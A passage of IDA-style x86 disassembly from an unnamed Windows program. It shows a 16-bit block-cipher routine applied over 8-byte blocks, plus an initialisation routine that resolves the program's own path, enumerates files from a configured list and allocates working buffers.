		jmp	short loc_4D2A8F
; ---------------------------------------------------------------------------


loc_4D2A7A:				; CODE XREF: sub_4D26D7+354j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_20], cx
		mov	ax, [ebp+var_20]
		mov	[ebp+var_3E], ax


loc_4D2A8F:				; CODE XREF: sub_4D26D7+3A1j
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_40], ax
		jmp	short loc_4D2AAE
; ---------------------------------------------------------------------------


loc_4D2A99:				; CODE XREF: sub_4D26D7+33Bj
		movzx	eax, [ebp+var_20]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_20], cx
		mov	ax, [ebp+var_20]
		mov	[ebp+var_40], ax


loc_4D2AAE:				; CODE XREF: sub_4D26D7+3C0j
		mov	ax, [ebp+var_28]
		add	ax, [ebp+var_20]
		mov	[ebp+var_28], ax
		mov	ax, [ebp+var_1C]
		xor	ax, [ebp+var_20]
		mov	[ebp+var_1C], ax
		mov	ax, [ebp+var_2C]
		xor	ax, [ebp+var_28]
		mov	[ebp+var_2C], ax
		mov	ax, [ebp+var_20]
		xor	ax, [ebp+var_14]
		mov	[ebp+var_20], ax
		mov	ax, [ebp+var_28]
		xor	ax, [ebp+var_C]
		mov	[ebp+var_28], ax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	loc_4D277E
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_4D2B9A
		movzx	eax, [ebp+var_1C]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		movzx	eax, [ebp+var_1C]
		test	eax, eax
		jz	short loc_4D2B7B
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_1C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_1C], ax
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_42], ax
		jmp	short loc_4D2B90
; ---------------------------------------------------------------------------


loc_4D2B7B:				; CODE XREF: sub_4D26D7+455j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_42], ax


loc_4D2B90:				; CODE XREF: sub_4D26D7+4A2j
		mov	ax, [ebp+var_42]
		mov	[ebp+var_44], ax
		jmp	short loc_4D2BAF
; ---------------------------------------------------------------------------


loc_4D2B9A:				; CODE XREF: sub_4D26D7+43Cj
		movzx	eax, [ebp+var_1C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_44], ax


loc_4D2BAF:				; CODE XREF: sub_4D26D7+4C1j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_28]
		add	cx, [eax]
		mov	[ebp+var_28], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_20]
		add	cx, [eax]
		mov	[ebp+var_20], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		test	eax, eax
		jz	loc_4D2C72
		movzx	eax, [ebp+var_2C]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	short loc_4D2C53
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_2C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_2C], ax
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_46], ax
		jmp	short loc_4D2C68
; ---------------------------------------------------------------------------


loc_4D2C53:				; CODE XREF: sub_4D26D7+52Dj
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_46], ax


loc_4D2C68:				; CODE XREF: sub_4D26D7+57Aj
		mov	ax, [ebp+var_46]
		mov	[ebp+var_48], ax
		jmp	short loc_4D2C87
; ---------------------------------------------------------------------------


loc_4D2C72:				; CODE XREF: sub_4D26D7+514j
		movzx	eax, [ebp+var_2C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_48], ax


loc_4D2C87:				; CODE XREF: sub_4D26D7+599j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_1C]
		sar	eax, 8
		movzx	ecx, [ebp+var_1C]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_28]
		sar	eax, 8
		movzx	ecx, [ebp+var_28]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_20]
		sar	eax, 8
		movzx	ecx, [ebp+var_20]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		mov	[ebp+var_8], eax
		movzx	eax, [ebp+var_2C]
		sar	eax, 8
		movzx	ecx, [ebp+var_2C]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		pop	ebx
		leave
		retn	0Ch
sub_4D26D7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		and	dword ptr [ebp-8], 0
		jmp	short loc_4D2D1E
; ---------------------------------------------------------------------------


loc_4D2D17:				; CODE XREF: _4:004D2D44j
		mov	eax, [ebp-8]
		inc	eax
		mov	[ebp-8], eax


loc_4D2D1E:				; CODE XREF: _4:004D2D15j
		mov	eax, [ebp-8]
		cmp	eax, [ebp+0Ch]
		jge	short locret_4D2D46
		mov	eax, [ebp-0Ch]
		add	eax, 68h
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-4]
		mov	ecx, [ebp-0Ch]
		call	sub_4D26D7
		mov	eax, [ebp-4]
		add	eax, 8
		mov	[ebp-4], eax
		jmp	short loc_4D2D17
; ---------------------------------------------------------------------------

locret_4D2D46:				; CODE XREF: _4:004D2D24j
		leave
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D2D50	proc near		; CODE XREF: sub_4D931F+1Ap
					; sub_4D9A34+11p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	eax, ds:dword_4E18F0
		mov	[ebp+var_4], eax
		mov	ecx, ds:dword_4E18F4
		imul	ecx, 18h
		mov	edx, ds:dword_4E18F0
		add	edx, ecx
		mov	[ebp+var_8], edx
		jmp	short loc_4D2D7F
; ---------------------------------------------------------------------------


loc_4D2D76:				; CODE XREF: sub_4D2D50:loc_4D2DB7j
		mov	eax, [ebp+var_4]
		add	eax, 18h
		mov	[ebp+var_4], eax


loc_4D2D7F:				; CODE XREF: sub_4D2D50+24j
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+var_8]
		jz	short loc_4D2DB9
		mov	ecx, 10h
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_4]
		xor	edx, edx
		mov	[ebp+var_C], edx
		repe cmpsb
		jz	short loc_4D2DA3
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax


loc_4D2DA3:				; CODE XREF: sub_4D2D50+49j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_10], ecx
		cmp	[ebp+var_10], 0
		jnz	short loc_4D2DB7
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		jmp	short loc_4D2DBB
; ---------------------------------------------------------------------------


loc_4D2DB7:				; CODE XREF: sub_4D2D50+5Dj
		jmp	short loc_4D2D76
; ---------------------------------------------------------------------------


loc_4D2DB9:				; CODE XREF: sub_4D2D50+35j
		xor	eax, eax


loc_4D2DBB:				; CODE XREF: sub_4D2D50+65j
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4D2D50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D2DD0	proc near		; CODE XREF: sub_4D4DC0+Dp

var_1F8		= dword	ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_1EC		= dword	ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_170		= byte ptr -170h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004D35F3 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE408
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFE18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	offset dword_4E18C8
		call	ds:dword_4E174C	; InitializeCriticalSection
		mov	[ebp+var_1C], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_24], 0FFFFFFFFh
		mov	[ebp+var_4], 0
		call	sub_4CDE50
		and	eax, 0FFh
		mov	ds:dword_4E0B68, eax
		push	400h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1AC], eax
		mov	eax, [ebp+var_1AC]
		mov	[ebp+var_1C], eax
		push	0C1Ch
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1B0], eax
		mov	ecx, [ebp+var_1B0]
		mov	[ebp+var_20], ecx
		mov	ecx, 307h
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	400h
		mov	edx, [ebp+var_20]
		add	edx, 10h
		push	edx
		push	0
		call	ds:dword_4E1718	; GetModuleHandleA
		push	eax
		call	ds:dword_4E1714	; GetModuleFileNameA
		mov	eax, [ebp+var_20]
		add	eax, 0C10h
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		push	400h
		mov	edx, [ebp+var_20]
		add	edx, 10h
		push	edx
		call	ds:dword_4E1708	; GetFullPathNameA
		push	offset aGetlongpathnam ; "GetLongPathNameA"
		push	offset aKernel32_0 ; "kernel32"
		call	ds:dword_4E1718	; GetModuleHandleA
		push	eax
		call	ds:dword_4E1728	; GetProcAddress
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_4D2EE2
		push	400h
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	[ebp+var_2C]
		jmp	short loc_4D2F08
; ---------------------------------------------------------------------------


loc_4D2EE2:				; CODE XREF: sub_4D2DD0+FBj
		mov	edi, [ebp+var_1C]
		mov	edx, [ebp+var_20]
		add	edx, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4D2F08:				; CODE XREF: sub_4D2DD0+110j
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		push	ecx
		call	ds:dword_4E17C8	; CharUpperBuffA
		push	5Ch
		mov	edx, [ebp+var_20]
		add	edx, 10h
		push	edx
		call	sub_4CC700
		add	esp, 8
		add	eax, 1
		mov	ecx, [ebp+var_20]
		mov	[ecx+0C10h], eax
		mov	edx, [ebp+var_20]
		add	edx, 10h
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+0C10h]
		sub	ecx, edx
		mov	edx, [ebp+var_20]
		mov	[edx+0C14h], ecx
		push	400h
		mov	eax, [ebp+var_20]
		add	eax, 410h
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	ds:dword_4DE020	; GetShortPathNameA
		mov	edi, [ebp+var_20]
		add	edi, 410h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	edx, [ebp+var_20]
		add	edx, 410h
		push	edx
		call	ds:dword_4E17C8	; CharUpperBuffA
		push	5Ch
		mov	eax, [ebp+var_20]
		add	eax, 410h
		push	eax
		call	sub_4CC700
		add	esp, 8
		add	eax, 1
		mov	ecx, [ebp+var_20]
		add	ecx, 410h
		sub	eax, ecx
		mov	edx, [ebp+var_20]
		mov	[edx+0C18h], eax
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	[ebp+var_30], ecx
		mov	eax, [ebp+var_30]
		add	eax, 1
		push	eax
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1B4], eax
		mov	ecx, [ebp+var_1B4]
		mov	ds:dword_4E190C, ecx
		mov	edx, [ebp+var_20]
		add	edx, 10h
		mov	edi, edx
		mov	edx, ds:dword_4E190C
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ds:dword_4E1684
		mov	edx, [ecx+24h]
		and	edx, 2
		neg	edx
		sbb	edx, edx
		neg	edx
		mov	byte ptr [ebp+var_28], dl
		mov	eax, [ebp+var_28]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4D3101
		mov	ecx, ds:dword_4E1684
		mov	edx, [ecx+2Ch]
		add	edx, 30h
		mov	[ebp+var_3C], edx
		mov	edi, [ebp+var_3C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	[ebp+var_38], ecx
		push	5Ch
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	sub_4CC700
		add	esp, 8
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jnz	short loc_4D30A4
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	edx, [ebp+var_20]
		lea	eax, [edx+ecx+10h]
		mov	[ebp+var_34], eax


loc_4D30A4:				; CODE XREF: sub_4D2DD0+2B6j
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		mov	edx, [ebp+var_34]
		sub	edx, ecx
		add	edx, [ebp+var_38]
		cmp	edx, 104h
		jb	short loc_4D30C4
		mov	ecx, 0EF000004h
		call	sub_4D8342


loc_4D30C4:				; CODE XREF: sub_4D2DD0+2E8j
		mov	ecx, [ebp+var_38]
		add	ecx, 1
		mov	esi, [ebp+var_3C]
		mov	edi, [ebp+var_34]
		add	edi, 1
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+var_20]
		add	edi, 10h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		push	ecx
		call	ds:dword_4E17C8	; CharUpperBuffA


loc_4D3101:				; CODE XREF: sub_4D2DD0+277j
		mov	edx, [ebp+var_20]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_20]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_20]
		mov	ds:dword_4E1908, ecx
		mov	edx, ds:dword_4E1684
		mov	eax, [edx+24h]
		and	eax, 1
		test	eax, eax
		jz	short loc_4D3140
		push	1
		push	1
		mov	ecx, [ebp+var_20]
		add	ecx, 10h
		push	ecx
		call	sub_4D3610
		add	esp, 0Ch


loc_4D3140:				; CODE XREF: sub_4D2DD0+35Bj
		push	105h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1B8], eax
		mov	edx, [ebp+var_1B8]
		mov	[ebp+var_44], edx
		push	5Ch
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	sub_4CC700
		add	esp, 8
		add	eax, 1
		mov	[ebp+var_50], eax
		mov	[ebp+var_48], 0
		mov	ecx, ds:dword_4E1684
		mov	edx, [ecx+2Ch]
		add	edx, 71h
		mov	[ebp+var_4C], edx
		mov	edi, [ebp+var_4C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		mov	eax, [ebp+var_4C]
		add	eax, ecx
		mov	[ebp+var_40], eax
		mov	ecx, [ebp+var_4C]
		cmp	ecx, [ebp+var_40]
		jz	loc_4D33DB
		mov	[ebp+var_48], 1
		mov	edx, [ebp+var_4C]
		mov	[ebp+var_1A0], edx
		jmp	short loc_4D31CD
; ---------------------------------------------------------------------------


loc_4D31BE:				; CODE XREF: sub_4D2DD0:loc_4D31F8j
		mov	eax, [ebp+var_1A0]
		add	eax, 1
		mov	[ebp+var_1A0], eax


loc_4D31CD:				; CODE XREF: sub_4D2DD0+3ECj
		mov	ecx, [ebp+var_1A0]
		cmp	ecx, [ebp+var_40]
		jz	short loc_4D31FA
		mov	edx, [ebp+var_1A0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Bh
		jnz	short loc_4D31F8
		mov	ecx, [ebp+var_1A0]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+var_48]
		add	edx, 1
		mov	[ebp+var_48], edx


loc_4D31F8:				; CODE XREF: sub_4D2DD0+414j
		jmp	short loc_4D31BE
; ---------------------------------------------------------------------------


loc_4D31FA:				; CODE XREF: sub_4D2DD0+406j
		mov	eax, [ebp+var_20]
		add	eax, 810h
		mov	edi, eax
		mov	edx, [ebp+var_44]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	ecx, [ebp+var_54]
		push	ecx
		mov	edx, [ebp+var_44]
		push	edx
		push	104h
		mov	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4E1708	; GetFullPathNameA
		mov	edi, [ebp+var_44]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	ecx, [ebp+var_44]
		push	ecx
		call	ds:dword_4E17C8	; CharUpperBuffA
		mov	edx, [ebp+var_4C]
		mov	[ebp+var_58], edx
		mov	[ebp+var_5C], 0
		jmp	short loc_4D326D
; ---------------------------------------------------------------------------


loc_4D3264:				; CODE XREF: sub_4D2DD0+606j
		mov	eax, [ebp+var_5C]
		add	eax, 1
		mov	[ebp+var_5C], eax


loc_4D326D:				; CODE XREF: sub_4D2DD0+492j
		mov	ecx, [ebp+var_5C]
		cmp	ecx, [ebp+var_48]
		jnb	loc_4D33DB
		mov	edi, [ebp+var_58]
		mov	edx, [ebp+var_54]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	ecx, [ebp+var_19C]
		push	ecx
		mov	edx, [ebp+var_44]
		push	edx
		call	ds:dword_4E16D0	; FindFirstFileA
		mov	[ebp+var_1A4], eax
		cmp	[ebp+var_1A4], 0FFFFFFFFh
		jz	loc_4D33B8


loc_4D32C0:				; CODE XREF: sub_4D2DD0+5D5j
		mov	eax, [ebp+var_19C]
		and	eax, 10h
		test	eax, eax
		jnz	loc_4D338F
		mov	ecx, [ebp+var_50]
		push	ecx
		lea	edx, [ebp+var_170]
		push	edx
		call	ds:dword_4E17C0	; lstrcmpi
		test	eax, eax
		jz	loc_4D338F
		lea	edi, [ebp+var_170]
		mov	edx, [ebp+var_54]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+var_54]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	ecx
		mov	ecx, [ebp+var_54]
		push	ecx
		call	ds:dword_4E17C8	; CharUpperBuffA
		mov	[ebp+var_1A8], 0
		mov	[ebp+var_4], 1
		push	0
		push	1
		mov	edx, [ebp+var_44]
		push	edx
		call	sub_4D3610
		add	esp, 0Ch
		mov	[ebp+var_4], 0
		jmp	short loc_4D338F
; ---------------------------------------------------------------------------


loc_4D3354:				; DATA XREF: _5:004DE418o
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	edx, [ecx]
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1E8]
		mov	[ebp+var_1A8], eax
		mov	ecx, [ebp+var_1A8]
		and	ecx, 0EF000000h
		xor	eax, eax
		cmp	ecx, 0EF000000h
		setz	al
		retn
; ---------------------------------------------------------------------------


loc_4D3385:				; DATA XREF: _5:004DE41Co
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_4D338F:				; CODE XREF: sub_4D2DD0+4FBj
					; sub_4D2DD0+514j ...
		lea	edx, [ebp+var_19C]
		push	edx
		mov	eax, [ebp+var_1A4]
		push	eax
		call	ds:dword_4E16D4	; FindNextFileA
		test	eax, eax
		jnz	loc_4D32C0
		mov	ecx, [ebp+var_1A4]
		push	ecx
		call	ds:dword_4E16CC	; FindClose


loc_4D33B8:				; CODE XREF: sub_4D2DD0+4EAj
					; sub_4D2DD0+5FBj
		mov	edx, [ebp+var_58]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_4D33CD
		mov	ecx, [ebp+var_58]
		add	ecx, 1
		mov	[ebp+var_58], ecx
		jmp	short loc_4D33B8
; ---------------------------------------------------------------------------


loc_4D33CD:				; CODE XREF: sub_4D2DD0+5F0j
		mov	edx, [ebp+var_58]
		add	edx, 1
		mov	[ebp+var_58], edx
		jmp	loc_4D3264
; ---------------------------------------------------------------------------


loc_4D33DB:				; CODE XREF: sub_4D2DD0+3D6j
					; sub_4D2DD0+4A3j
		mov	eax, [ebp+var_44]
		mov	[ebp+var_1BC], eax
		mov	ecx, [ebp+var_1BC]
		push	ecx
		call	sub_4D83DD
		add	esp, 4
		call	sub_4D4490
		push	10040h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1C0], eax
		mov	edx, [ebp+var_1C0]
		mov	ds:dword_4E18F8, edx
		push	10000h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1C4], eax
		mov	eax, [ebp+var_1C4]
		mov	ds:dword_4E18FC, eax
		push	10000h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1C8], eax
		mov	ecx, [ebp+var_1C8]
		mov	ds:dword_4E1900, ecx
		push	10000h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1CC], eax
		mov	edx, [ebp+var_1CC]
		mov	ds:dword_4E1904, edx
		push	28h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1D0], eax
		cmp	[ebp+var_1D0], 0
		jz	short loc_4D34A4
		push	83h
		mov	ecx, [ebp+var_1D0]
		call	sub_4DB77C
		mov	[ebp+var_1EC], eax
		jmp	short loc_4D34AE
; ---------------------------------------------------------------------------


loc_4D34A4:				; CODE XREF: sub_4D2DD0+6BAj
		mov	[ebp+var_1EC], 0


loc_4D34AE:				; CODE XREF: sub_4D2DD0+6D2j
		mov	eax, [ebp+var_1EC]
		mov	ds:dword_4E18E4, eax
		push	28h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1D4], eax
		cmp	[ebp+var_1D4], 0
		jz	short loc_4D34EA
		push	83h
		mov	ecx, [ebp+var_1D4]
		call	sub_4DB77C
		mov	[ebp+var_1F0], eax
		jmp	short loc_4D34F4
; ---------------------------------------------------------------------------


loc_4D34EA:				; CODE XREF: sub_4D2DD0+700j
		mov	[ebp+var_1F0], 0


loc_4D34F4:				; CODE XREF: sub_4D2DD0+718j
		mov	ecx, [ebp+var_1F0]
		mov	ds:dword_4E18E8, ecx
		push	28h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 0
		jz	short loc_4D3531
		push	83h
		mov	ecx, [ebp+var_1D8]
		call	sub_4DB77C
		mov	[ebp+var_1F4], eax
		jmp	short loc_4D353B
; ---------------------------------------------------------------------------


loc_4D3531:				; CODE XREF: sub_4D2DD0+747j
		mov	[ebp+var_1F4], 0


loc_4D353B:				; CODE XREF: sub_4D2DD0+75Fj
		mov	edx, [ebp+var_1F4]
		mov	ds:dword_4E18E0, edx
		push	28h
		call	sub_4D835A
		add	esp, 4
		mov	[ebp+var_1DC], eax
		cmp	[ebp+var_1DC], 0
		jz	short loc_4D3578
		push	83h
		mov	ecx, [ebp+var_1DC]
		call	sub_4DB77C
		mov	[ebp+var_1F8], eax
		jmp	short loc_4D3582
; ---------------------------------------------------------------------------


loc_4D3578:				; CODE XREF: sub_4D2DD0+78Ej
		mov	[ebp+var_1F8], 0


loc_4D3582:				; CODE XREF: sub_4D2DD0+7A6j
		mov	eax, [ebp+var_1F8]
		mov	ds:dword_4E18EC, eax
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D35A2
		jmp	short loc_4D35F3
sub_4D2DD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D35A2	proc near		; CODE XREF: sub_4D2DD0+7CBp
					; DATA XREF: _5:004DE410o
		mov	ecx, [ebp-1Ch]
		mov	[ebp-1E0h], ecx
		mov	edx, [ebp-1E0h]
		push	edx
		call	sub_4D83DD
		add	esp, 4
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_4D35E2
		mov	ds:dword_4E1908, 0
		mov	eax, [ebp-20h]
		mov	[ebp-1E4h], eax
		mov	ecx, [ebp-1E4h]
		push	ecx
		call	sub_4D83DD
		add	esp, 4


loc_4D35E2:				; CODE XREF: sub_4D35A2+1Cj
		cmp	dword ptr [ebp-24h], 0FFFFFFFFh
		jz	short locret_4D35F2
		mov	edx, [ebp-24h]
		push	edx
		call	ds:dword_4E16A4	; CloseHandle

locret_4D35F2:				; CODE XREF: sub_4D35A2+44j
		retn
sub_4D35A2	endp

; ---------------------------------------------------------------------------
